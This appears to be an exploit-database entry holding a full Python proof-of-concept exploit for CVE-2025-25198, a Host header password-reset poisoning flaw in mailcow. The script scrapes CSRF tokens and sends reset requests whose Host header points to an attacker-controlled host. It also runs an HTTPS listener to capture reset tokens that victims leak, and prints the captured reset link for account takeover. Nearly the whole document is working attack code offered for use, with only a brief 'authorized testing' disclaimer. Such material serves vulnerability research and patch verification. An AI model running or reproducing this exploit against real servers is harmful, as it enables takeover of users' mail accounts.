mailcow 2025-01a – Host Header Password Reset Poisoning

# Exploit Title: mailcow 2025-01a - Host Header Password Reset Poisoning
# Date: 2025-10-21
# Exploit Author: Iam Alvarez (AKA Groppoxx / Maizeravla)
# Vendor Homepage: https://mailcow.email
# Software Link: https://github.com/mailcow/mailcow-dockerized
# Version: < 2025-01a  (REQUIRED)
# Tested on: Ubuntu 22.04.5 LTS, Docker 26.1.3, Docker Compose 2.27.1; mailcow:dockerized 2025-01
# CVE : CVE-2025-25198
# PoC: https://github.com/Groppoxx/CVE-2025-25198-PoC.git
# mailcow: dockerized < 2025-01a - Host Header Password Reset Poisoning (CVE-2025-25198)

# Description:
# A flaw in mailcow’s password reset allows Host header poisoning to generate a
# reset link pointing to an attacker-controlled domain, potentially enabling account
# takeover if a user clicks the poisoned link. Patched in 2025-01a.

# References:
# - NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-25198
# - Vendor advisory: https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf

# Usage (authorized testing only):
#   sudo python3 cve-2025-25198.py 
#     --listen-host 0.0.0.0 
#     --base-url https://mail.target.tld 
#     --username [email protected] 
#     --attacker-host your.ip.or.dns 
#     --http2

# Requirements:
#   Python 3.8+ ; pip install httpx  (or 'requests' for HTTP/1.1)

# Legal:
#   For authorized security testing only. Do NOT target live websites.

from __future__ import annotations

import argparse
import http.server
import os
import re
import ssl
import subprocess
import sys
import threading
from datetime import datetime, timezone
from http import HTTPStatus
from http.server import SimpleHTTPRequestHandler
from typing import Optional, Dict, List, Tuple
from urllib.parse import urlparse, parse_qs

try:
    import requests
except Exception:
    requests = None

RESET = "33[0m"
BOLD = "33[1m"
DIM = "33[2m"
GREEN = "33[32m"
CYAN = "33[36m"
YELLOW = "33[33m"
MAGENTA = "33[35m"

ANSI_RE = re.compile(r'x1b[[0-9;]*m')

def visible_len(s: str) -> int:
    return len(ANSI_RE.sub('', s))

class Console:
    def __init__(self, only_final: bool = False) -> None:
        self.only_final = only_final

    def log(self, msg: str) -> None:
        if self.only_final:
            return
        ts = datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00", "Z")
        print(f"{DIM}[{ts}]{RESET} {msg}", flush=True)

    def banner(self, link: str, source: str = "response") -> None:
        host = urlparse(link).hostname or ""
        title = f"  {BOLD}{GREEN}RESET LINK FOUND!{RESET}  {DIM}({source}){RESET}"
        link_line = f"  {CYAN}{link}{RESET}"
        target_line = f"  Target: {BOLD}{host}{RESET}" if host else ""
        max_content = max(
            visible_len(title),
            visible_len(link_line),
            visible_len(target_line) if host else 0
        )
        inner_width = max(80, min(150, max_content))
        line = "═" * inner_width
        def box_line(content: str) -> str:
            pad = inner_width - visible_len(content)
            if pad < 0:
                pad = 0
            return f"{MAGENTA}║{RESET}{content}{' ' * pad}{MAGENTA}║{RESET}"
        print("")
        print(f"{MAGENTA}╔{line}╗{RESET}")
        print(box_line(title))
        print(f"{MAGENTA}╟{line}╢{RESET}")
        print(box_line(link_line))
        if host:
            print(box_line(target_line))
        print(f"{MAGENTA}╚{line}╝{RESET}")
        print("")

console = Console(False)

RGX_TOKEN_IN_URL = re.compile(r'reset-password?token=([^s"&'<>]+)', re.I)
RGX_TOKEN_FALLBACK = re.compile(r'b([a-f0-9]{4,12}(?:-[a-f0-9]{4,12}){3,6})b', re.I)

def links_from_text(html: str, base_url: str) -> List[str]:
    if not html:
        return []
    out: List[str] = []
    for m in RGX_TOKEN_IN_URL.finditer(html):
        out.append(f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}")
    for m in RGX_TOKEN_FALLBACK.finditer(html):
        cand = f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}"
        if cand not in out:
            out.append(cand)
    return out

def links_from_headers(headers: Dict[str, str], base_url: str) -> List[str]:
    loc = headers.get("Location") or headers.get("location")
    return links_from_text(loc, base_url) if loc else []

class ListenerState:
    def __init__(self) -> None:
        self.event = threading.Event()
        self.last_link: Optional[str] = None

class LoggingHTTPSHandler(SimpleHTTPRequestHandler):
    server_version = "PoisonedHostTest/host-only"
    error_content_type = "text/plain"

    def log_message(self, *_: object) -> None:
        return

    def _record(self, code: int) -> None:
        parsed = urlparse(self.path)
        token = parse_qs(parsed.query).get("token") or []
        if token:
            link = f"{self.server.target_base_url.rstrip('/')}/reset-password?token={token[0]}"
            self.server.state.last_link = link
            self.server.state.event.set()
        if not console.only_final:
            console.log(f"{YELLOW}[HIT]{RESET} {self.command} {self.path} ← {self.client_address[0]} [{code}]")

    def do_GET(self) -> None:
        if self.path.startswith("/favicon"):
            self.send_response(HTTPStatus.NO_CONTENT); self.end_headers(); return
        self.send_response(HTTPStatus.OK)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.end_headers()
        token = parse_qs(urlparse(self.path).query).get("token", [""])[0]
        body = f"<!doctype html><meta charset=utf-8><title>OK</title><p>token: <b>{token}</b></p>"
        self.wfile.write(body.encode("utf-8"))
        self._record(HTTPStatus.OK)

    def do_POST(self) -> None:
        _ = self.rfile.read(int(self.headers.get("Content-Length", "0") or 0))
        self.send_response(HTTPStatus.NO_CONTENT); self.end_headers()
        self._record(HTTPStatus.NO_CONTENT)

def ensure_self_signed(cert_file: str, key_file: str, cn: str = "localhost", days: int = 365) -> None:
    if os.path.exists(cert_file) and os.path.exists(key_file):
        return
    console.log("[+] Generating self-signed certificate…")
    subprocess.run([
        "openssl", "req", "-x509", "-newkey", "rsa:2048",
        "-keyout", key_file, "-out", cert_file, "-days", str(days),
        "-nodes", "-subj", f"/CN={cn}"
    ], check=True)

def require_root_for_privileged_port(port: int) -> None:
    if port < 1024:
        # POSIX check: require root if binding <1024
        if hasattr(os, "geteuid"):
            if os.geteuid() != 0:
                print("[-] Port 443 requires root. Re-run with sudo.", file=sys.stderr)
                sys.exit(2)
        # On non-POSIX (e.g., Windows) we don't enforce sudo.

def start_https_listener(host: str, port: int, cert: str, key: str, base_url: str, state: ListenerState):
    ensure_self_signed(cert, key)
    httpd = http.server.ThreadingHTTPServer((host, port), LoggingHTTPSHandler)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(certfile=cert, keyfile=key)
    httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
    httpd.target_base_url = base_url
    httpd.state = state
    threading.Thread(target=httpd.serve_forever, name="https-listener", daemon=True).start()
    console.log(f"[+] HTTPS listener on https://{host}:{port}")
    return httpd

def add_cookie_string_to_session(session, cookie_header: Optional[str], base_url: str) -> None:
    if not cookie_header:
        return
    host = urlparse(base_url).hostname
    for part in re.split(r';s*|,s*', cookie_header.strip()):
        if not part or "=" not in part:
            continue
        name, val = part.split("=", 1)
        try:
            session.cookies.set(name.strip(), val.strip(), domain=host)
        except Exception:
            pass

class HttpClient:
    def __init__(self, base_url: str, use_http2: bool, cookie_header: Optional[str]) -> None:
        self.base_url = base_url.rstrip("/")
        self.use_http2 = use_http2
        if use_http2:
            try:
                import httpx
            except Exception as e:
                raise RuntimeError("Install httpx for --http2:  pip install httpx") from e
            # TLS verification disabled intentionally for testing environments
            self.session = httpx.Client(http2=True, verify=False, timeout=20.0, follow_redirects=False)
        else:
            if requests is None:
                raise RuntimeError("Missing 'requests' for HTTP/1.1.")
            self.session = requests.Session()
        add_cookie_string_to_session(self.session, cookie_header, self.base_url)

    def get(self, url: str, headers: Dict[str, str], allow_redirects: bool):
        if self.use_http2:
            return self.session.get(url, headers=headers or {}, follow_redirects=allow_redirects)
        # requests: disable TLS verification explicitly
        return self.session.get(url, headers=headers or {}, verify=False, timeout=20, allow_redirects=allow_redirects)

    def post(self, url: str, headers: Dict[str, str], data: Dict[str, str], allow_redirects: bool):
        if self.use_http2:
            return self.session.post(url, headers=headers or {}, data=data or {}, follow_redirects=allow_redirects)
        return self.session.post(url, headers=headers or {}, data=data or {}, verify=False, timeout=20, allow_redirects=allow_redirects)

RGX_INPUTS = [
    re.compile(r'name=["']csrf_token["']s+value=["']([0-9a-zA-Z_-./+=:]+)["']'),
    re.compile(r'name=["']_csrf["']s+value=["']([^"']+)["']'),
    re.compile(r'name=["']csrf["']s+value=["']([^"']+)["']'),
    re.compile(r'name=["']csrf_token_reset["']s+value=["']([^"']+)["']'),
]
RGX_META = re.compile(r'<metas+name=["']csrf-token["']s+content=["']([^"']+)["']', re.I)
RGX_JS = [
    re.compile(r'csrf_tokens*[:=]s*["']([^"']+)["']', re.I),
    re.compile(r'window.w*csrfw*s*=s*["']([^"']+)["']', re.I),
]
COOKIE_CSRF = ["csrf_token", "_csrf", "XSRF-TOKEN", "CSRF-TOKEN"]
HEX64 = re.compile(r'^[0-9a-f]{64}$', re.I)

def _csrf_candidates_html(html: str) -> List[str]:
    if not html:
        return []
    cands: List[str] = []
    for rgx in RGX_INPUTS:
        m = rgx.search(html)
        if m: cands.append(m.group(1))
    m = RGX_META.search(html)
    if m: cands.append(m.group(1))
    for rgx in RGX_JS:
        m = rgx.search(html)
        if m: cands.append(m.group(1))
    for m in re.finditer(r'csrf_token=([0-9a-zA-Z_-./+=:]{16,})', html):
        cands.append(m.group(1))
    seen: set[str] = set()
    out: List[str] = []
    for v in cands:
        if v not in seen:
            seen.add(v); out.append(v)
    return out

def _csrf_from_set_cookie(headers: Dict[str, str]) -> Optional[str]:
    sc = headers.get("Set-Cookie") or headers.get("set-cookie")
    if not sc: return None
    for cookie in re.split(r',(?=s*w+=)', sc):
        for name in COOKIE_CSRF:
            m = re.search(rf'b{name}=([^;,s]+)', cookie, re.I)
            if m: return m.group(1)
    return None

def _best_csrf(candidates: List[str]) -> Optional[str]:
    if not candidates: return None
    for c in candidates:
        if HEX64.fullmatch(c): return c
    return candidates[0]

def nav_headers(base_url: str, attacker_host: str) -> Dict[str, str]:
    return {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Te": "trailers",
        "Referer": base_url.rstrip("/") + "/",
        "Origin": base_url,
        "Host": attacker_host,
    }

def fetch_csrf_auto(client: HttpClient, base_url: str, attacker_host: str, username: str) -> str:
    paths = ["", "/", "/index.php", "/reset-password", "/login", "/auth", "/user/reset"]
    h1 = nav_headers(base_url, attacker_host)
    for p in paths:
        url = client.base_url + p
        try:
            r = client.get(url, headers=h1, allow_redirects=True)
            text = r.text if hasattr(r, "text") else r.content.decode("utf-8", "ignore")
            headers = dict(getattr(r, "headers", {}))
            token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))
            if token: return token
        except Exception as e:
            console.log(f"[!] CSRF GET failed at {url}: {e}")
    h2 = dict(h1); h2.pop("Host", None)
    for p in paths:
        url = client.base_url + p
        try:
            r = client.get(url, headers=h2, allow_redirects=True)
            text = r.text if hasattr(r, "text") else r.content.decode("utf-8", "ignore")
            headers = dict(getattr(r, "headers", {}))
            token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))
            if token: return token
        except Exception as e:
            console.log(f"[!] CSRF GET (no Host) failed at {url}: {e}")
    pre_headers = {
        "User-Agent": h1["User-Agent"], "Accept": h1["Accept"], "Accept-Language": h1["Accept-Language"],
        "Content-Type": "application/x-www-form-urlencoded", "Host": attacker_host,
        "Referer": base_url.rstrip("/") + "/", "Origin": base_url, "Upgrade-Insecure-Requests": "1",
    }
    try:
        r = client.post(client.base_url + "/reset-password", headers=pre_headers,
                        data={"username": username, "pw_reset_request": "", "csrf_token": ""}, allow_redirects=True)
        text = r.text if hasattr(r, "text") else r.content.decode("utf-8", "ignore")
        headers = dict(getattr(r, "headers", {}))
        token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))
        if token: return token
    except Exception as e:
        console.log(f"[!] Preflight POST for CSRF failed: {e}")
    raise RuntimeError("Unable to auto-extract csrf_token.")

def looks_like_csrf_error(body: str, status: int) -> bool:
    if status in (400, 403): return True
    text = (body or "").lower()
    return any(k in text for k in ("csrf", "invalid token", "expired token", "forgery", "bad token"))

def run_sequence(client: HttpClient, base_url: str, username: str, csrf: str,
                attacker_host: str) -> Tuple[Optional[str], Dict[str, object], str]:
    ua = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
    headers = {
        "User-Agent": ua,
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Content-Type": "application/x-www-form-urlencoded",
        "Host": attacker_host,
        "Referer": base_url.rstrip('/') + "/",
        "Origin": base_url,
        "Upgrade-Insecure-Requests": "1",
    }
    r1 = client.get(base_url, headers=headers, allow_redirects=True)
    body1 = r1.text if hasattr(r1, "text") else r1.content.decode("utf-8", "ignore")
    reset_ep = base_url.rstrip("/") + "/reset-password"
    payload = {"username": username, "pw_reset_request": "", "csrf_token": csrf}
    r2 = client.post(reset_ep, headers=headers, data=payload, allow_redirects=False)
    body2 = r2.text if hasattr(r2, "text") else r2.content.decode("utf-8", "ignore")
    r3 = client.get(base_url.rstrip("/") + "/", headers=headers, allow_redirects=False)
    body3 = r3.text if hasattr(r3, "text") else r3.content.decode("utf-8", "ignore")
    found: List[str] = []
    found += links_from_headers(dict(getattr(r1, "headers", {})), base_url)
    found += links_from_headers(dict(getattr(r2, "headers", {})), base_url)
    found += links_from_headers(dict(getattr(r3, "headers", {})), base_url)
    found += links_from_text(body1, base_url)
    found += links_from_text(body2, base_url)
    found += links_from_text(body3, base_url)
    seen: set[str] = set()
    clean = [l for l in found if not (l in seen or seen.add(l))]
    summary = {
        "get1": getattr(r1, "status_code", None),
        "post": getattr(r2, "status_code", None),
        "get2": getattr(r3, "status_code", None),
        "links_found": clean,
    }
    return (clean[0] if clean else None), summary, body2

def attempt_once(base_url: str, username: str, attacker_host: str,
                use_http2: bool,
                cookie_header: Optional[str], csrf_override: Optional[str]) -> Tuple[Optional[str], Dict[str, object]]:
    client = HttpClient(base_url, use_http2, cookie_header)
    if csrf_override:
        csrf = csrf_override
        console.log(f"[+] Using provided CSRF: {csrf[:16]}…")
    else:
        csrf = fetch_csrf_auto(client, base_url, attacker_host, username)
        console.log(f"[+] Auto CSRF: {csrf[:16]}…")
    console.log("[>] Sending sequence with poisoned Host")
    link, summary, post_body = run_sequence(client, base_url, username, csrf, attacker_host)
    if not link:
        post_status = int(summary.get("post") or 0)
        if not csrf_override and looks_like_csrf_error(post_body, post_status):
            console.log("[!] CSRF invalid/expired. Rotating session and retrying once…")
            client = HttpClient(base_url, use_http2, None)
            csrf2 = fetch_csrf_auto(client, base_url, attacker_host, username)
            console.log(f"[+] Auto CSRF (retry): {csrf2[:16]}…")
            link, summary, _ = run_sequence(client, base_url, username, csrf2, attacker_host)
    return link, summary

def run_until_success(listen_host: str, base_url: str, username: str,
                    attacker_host: str, use_http2: bool,
                    interval: float, max_attempts: int,
                    cookie_header: Optional[str], csrf_override: Optional[str]) -> Optional[str]:
    # Force port 443 and require sudo/root on POSIX
    listen_port = 443
    require_root_for_privileged_port(listen_port)

    state = ListenerState()
    srv = start_https_listener(listen_host, listen_port, "server.pem", "server.key", base_url, state)
    try:
        attempt = 0
        while True:
            attempt += 1
            if max_attempts and attempt > max_attempts:
                console.log("[i] Reached --max-attempts without success.")
                return None
            try:
                link, _summary = attempt_once(base_url, username, attacker_host, use_http2, cookie_header, csrf_override)
            except Exception as e:
                console.log(f"[!] Attempt #{attempt} error: {e}")
                link = None
            if link:
                console.banner(link, source="response")
                return link
            if state.event.wait(timeout=interval):
                link = state.last_link
                if link:
                    console.banner(link, source="listener")
                return link
            console.log(f"[i] Attempt #{attempt} yielded no link. Retrying in {int(interval)}s…")
    except KeyboardInterrupt:
        console.log("[+] Aborted by user.")
        return None
    finally:
        try: srv.shutdown()
        except Exception: pass

def main() -> None:
    p = argparse.ArgumentParser(
        description="Host header poisoning tester (Mailcow CVE-2025-25198) — HTTPS listener on port 443 (requires sudo/root), auto-cookie + auto-CSRF (or --csrf), retry, Host-only"
    )
    p.add_argument("--listen-host", required=True)
    p.add_argument("--base-url", required=True)
    p.add_argument("--username", required=True)
    p.add_argument("--attacker-host", required=True)
    p.add_argument("--http2", action="store_true", help="Use HTTP/2 (recommended)")
    p.add_argument("--interval", type=float, default=8.0, help="Seconds between attempts and click wait window")
    p.add_argument("--max-attempts", type=int, default=0, help="0=infinite; >0 limits attempts")
    p.add_argument("--cookie", default=None, help="(Optional) inject cookies, e.g., PHPSESSID=...")
    p.add_argument("--csrf", default=None, help="(Optional) provide csrf_token explicitly (auto if omitted)")
    p.add_argument("--only-final", action="store_true", help="Hide progress; print only the final link banner")

    args = p.parse_args()
    global console
    console = Console(only_final=args.only_final)
    if not args.http2 and requests is None:
        console.log("[!] Install 'requests' or use --http2 with 'httpx'."); sys.exit(2)
    if not args.http2:
        console.log("[i] Running over HTTP/1.1 (requests). For best parity, use --http2.")

    link = run_until_success(
        listen_host=args.listen_host,
        base_url=args.base_url,
        username=args.username,
        attacker_host=args.attacker_host,
        use_http2=args.http2,
        interval=args.interval,
        max_attempts=args.max_attempts,
        cookie_header=args.cookie,
        csrf_override=args.csrf,
    )
    if link:
        if not args.only_final:
            print(f"{BOLD}{GREEN}Success:{RESET} reset link obtained. Exiting.")
    else:
        if not args.only_final:
            print("[i] No success (attempts exhausted or aborted).")

if __name__ == "__main__":
    main()